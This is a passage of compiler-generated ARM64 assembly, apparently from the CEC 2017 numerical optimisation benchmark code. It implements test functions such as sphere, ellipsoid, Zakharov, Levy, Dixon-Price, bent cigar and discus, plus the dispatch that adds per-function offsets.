lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf09
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 193514046488576
movk x1, 0x409d, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L57:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x8, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w7, 1
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x8
bl hf10
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 70368744177664
movk x1, 0x409f, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L56:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf01
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 114349209288704
movk x1, 0x40a0, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L55:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf02
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 52776558133248
movk x1, 0x40a1, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L54:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf03
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 272678883688448
movk x1, 0x40a1, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L53:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf04
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 211106232532992
movk x1, 0x40a2, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L52:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf05
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 149533581377536
movk x1, 0x40a3, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L51:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf06
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 87960930222080
movk x1, 0x40a4, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L50:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf07
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 26388279066624
movk x1, 0x40a5, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L49:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x6, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x0, [x0]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 28]
mov x0, x6
bl cf08
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 246290604621824
movk x1, 0x40a5, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L48:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl cf09
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 184717953466368
movk x1, 0x40a6, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L46:
ldr w1, [sp, 52]
ldr w0, [sp, 28]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x7, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x1, x1, x0
adrp x0, OShift
add x0, x0, :lo12:OShift
ldr x2, [x0]
adrp x0, M
add x0, x0, :lo12:M
ldr x3, [x0]
adrp x0, SS
add x0, x0, :lo12:SS
ldr x0, [x0]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 28]
mov x0, x7
bl cf10
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
mov x1, 123145302310912
movk x1, 0x40a7, lsl 48
fmov d1, x1
fadd d0, d0, d1
str d0, [x0]
b .L77
.L45:
adrp x0, .LC28
add x0, x0, :lo12:.LC28
bl puts
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
str xzr, [x0]
nop
.L77:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L44:
ldr w1, [sp, 52]
ldr w0, [sp, 24]
cmp w1, w0
blt .L78
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 328]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L79
bl __stack_chk_fail
.L79:
ldp x29, x30, [sp], 336
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size cec17_test_func, .-cec17_test_func
.align 2
.global sphere_func
.type sphere_func, %function
sphere_func:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
ldr x0, [sp, 48]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
fmov d0, 1.0e+0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
str wzr, [sp, 76]
b .L81
.L82:
ldr x0, [sp, 48]
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d2, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L81:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L82
nop
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size sphere_func, .-sphere_func
.align 2
.global ellips_func
.type ellips_func, %function
ellips_func:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
ldr x0, [sp, 48]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
fmov d0, 1.0e+0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
str wzr, [sp, 76]
b .L84
.L85:
ldr w0, [sp, 76]
scvtf d1, w0
fmov d0, 6.0e+0
fmul d1, d1, d0
ldr w0, [sp, 44]
sub w0, w0, #1
scvtf d0, w0
fdiv d0, d1, d0
fmov d1, d0
fmov d0, 1.0e+1
bl pow
fmov d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
ldr x0, [sp, 48]
ldr d0, [x0]
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L84:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L85
nop
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size ellips_func, .-ellips_func
.align 2
.global sum_diff_pow_func
.type sum_diff_pow_func, %function
sum_diff_pow_func:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
fmov d0, 1.0e+0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
ldr x0, [sp, 48]
str xzr, [x0]
str xzr, [sp, 72]
str wzr, [sp, 68]
b .L87
.L88:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 80]
ldr d0, [sp, 80]
fcvtzs w0, d0
cmp w0, 0
csneg w0, w0, w0, ge
scvtf d0, w0
ldr w0, [sp, 68]
add w0, w0, 1
scvtf d1, w0
bl pow
str d0, [sp, 88]
ldr d1, [sp, 72]
ldr d0, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 72]
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L87:
ldr w1, [sp, 68]
ldr w0, [sp, 44]
cmp w1, w0
blt .L88
ldr x0, [sp, 48]
ldr d0, [sp, 72]
str d0, [x0]
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size sum_diff_pow_func, .-sum_diff_pow_func
.align 2
.global zakharov_func
.type zakharov_func, %function
zakharov_func:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -96
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
ldr x0, [sp, 64]
str xzr, [x0]
str xzr, [sp, 88]
str xzr, [sp, 96]
str wzr, [sp, 84]
b .L90
.L91:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 104]
fmov d1, 2.0e+0
ldr d0, [sp, 104]
bl pow
fmov d1, d0
ldr d0, [sp, 88]
fadd d0, d0, d1
str d0, [sp, 88]
ldr w0, [sp, 84]
add w0, w0, 1
scvtf d1, w0
fmov d0, 5.0e-1
fmul d1, d1, d0
ldr d0, [sp, 104]
fmul d0, d1, d0
ldr d1, [sp, 96]
fadd d0, d1, d0
str d0, [sp, 96]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L90:
ldr w1, [sp, 84]
ldr w0, [sp, 60]
cmp w1, w0
blt .L91
fmov d1, 2.0e+0
ldr d0, [sp, 96]
bl pow
fmov d1, d0
ldr d0, [sp, 88]
fadd d8, d1, d0
fmov d1, 4.0e+0
ldr d0, [sp, 96]
bl pow
fadd d0, d8, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size zakharov_func, .-zakharov_func
.align 2
.global levy_func
.type levy_func, %function
levy_func:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -128
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
ldr x0, [sp, 64]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
ldrsw x0, [sp, 60]
lsl x0, x0, 3
bl malloc
str x0, [sp, 104]
str wzr, [sp, 92]
b .L93
.L94:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
fmov d0, 1.0e+0
fsub d1, d1, d0
fmov d0, 4.0e+0
fdiv d1, d1, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 104]
add x0, x1, x0
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L93:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L94
ldr x0, [sp, 104]
ldr d0, [x0]
adrp x0, .LC29
ldr d1, [x0, #:lo12:.LC29]
fmul d0, d0, d1
bl sin
fmov d1, 2.0e+0
bl pow
str d0, [sp, 112]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 104]
add x0, x1, x0
ldr d1, [x0]
fmov d0, 1.0e+0
fsub d0, d1, d0
fmov d1, 2.0e+0
bl pow
fmov d8, d0
ldrsw x0, [sp, 60]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 104]
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d0, d0, d1
bl sin
fmov d1, 2.0e+0
bl pow
fmov d1, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
fmul d0, d8, d0
str d0, [sp, 120]
str xzr, [sp, 96]
str wzr, [sp, 92]
b .L95
.L96:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 104]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 128]
ldr d1, [sp, 128]
fmov d0, 1.0e+0
fsub d0, d1, d0
fmov d1, 2.0e+0
bl pow
fmov d8, d0
ldr d0, [sp, 128]
adrp x0, .LC29
ldr d1, [x0, #:lo12:.LC29]
fmul d1, d0, d1
fmov d0, 1.0e+0
fadd d0, d1, d0
bl sin
fmov d1, 2.0e+0
bl pow
fmov d1, d0
fmov d0, 1.0e+1
fmul d1, d1, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
fmul d0, d8, d0
str d0, [sp, 136]
ldr d1, [sp, 96]
ldr d0, [sp, 136]
fadd d0, d1, d0
str d0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L95:
ldr w0, [sp, 60]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L96
ldr d1, [sp, 112]
ldr d0, [sp, 96]
fadd d1, d1, d0
ldr d0, [sp, 120]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr x0, [sp, 104]
bl free
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size levy_func, .-levy_func
.align 2
.global dixon_price_func
.type dixon_price_func, %function
dixon_price_func:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -128
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
ldr x0, [sp, 64]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d0, [x0]
str d0, [sp, 104]
ldr d1, [sp, 104]
fmov d0, 1.0e+0
fsub d0, d1, d0
fmov d1, 2.0e+0
bl pow
str d0, [sp, 112]
str xzr, [sp, 96]
mov w0, 1
str w0, [sp, 92]
b .L98
.L99:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 120]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
sub x0, x0, #8
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 128]
ldr w0, [sp, 92]
scvtf d8, w0
ldr d0, [sp, 120]
fadd d0, d0, d0
fmov d1, 2.0e+0
bl pow
fmov d1, d0
ldr d0, [sp, 128]
fsub d0, d1, d0
fmov d1, 2.0e+0
bl pow
fmul d0, d8, d0
str d0, [sp, 136]
ldr d1, [sp, 96]
ldr d0, [sp, 136]
fadd d0, d1, d0
str d0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L98:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L99
ldr d1, [sp, 112]
ldr d0, [sp, 96]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size dixon_price_func, .-dixon_price_func
.align 2
.global bent_cigar_func
.type bent_cigar_func, %function
bent_cigar_func:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
fmov d0, 1.0e+0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d0, [x0]
fmul d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
mov w0, 1
str w0, [sp, 76]
b .L101
.L102:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fmul d1, d0, d1
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
ldr x0, [sp, 48]
ldr d0, [x0]
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L101:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L102
nop
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size bent_cigar_func, .-bent_cigar_func
.align 2
.global discus_func
.type discus_func, %function
discus_func:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
fmov d0, 1.0e+0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d0, [x0]
mov x0, 145685290680320
movk x0, 0x412e, lsl 48
fmov d1, x0
fmul d1, d0, d1
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d0, [x0]
fmul d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
mov w0, 1
str w0, [sp, 76]
b .L104
.L105:
ldr x0, [sp, 48]
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d2, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L104:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L105
nop
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size discus_func, .-discus_func
.align 2
.global dif_powers_func
.type dif_powers_func, %function
dif_powers_func:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
ldr x0, [sp, 48]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
fmov d0, 1.0e+0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
